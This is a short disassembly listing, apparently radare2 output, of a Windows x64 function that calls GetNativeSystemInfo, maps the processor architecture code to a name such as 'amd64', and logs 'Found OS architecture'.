mov qword [rax - 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rbx, rdx
xor edi, edi
mov dword [rax - 0x48], edi
lea rdx, [0x140039fa4]
mov rcx, rbx
call fcn.14000d2b0
mov dword [rsp + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_core_sysinfo_l1_2_0.dll_GetNativeSystemInfo]
nop dword [rax + rax]
movzx eax, word [rsp + 0x30]
test ax, ax
jne 0x140029f2d
lea rdx, [0x140047408]
jmp 0x140029f3a
cmp ax, 9
jne 0x140029f42
lea rdx, str.amd64
mov rcx, rbx
call fcn.14000f504
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x140029f4f
mov r8, qword [rbx]
lea rdx, str.Found_OS_architecture:__s
xor ecx, ecx
call fcn.14000c770
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret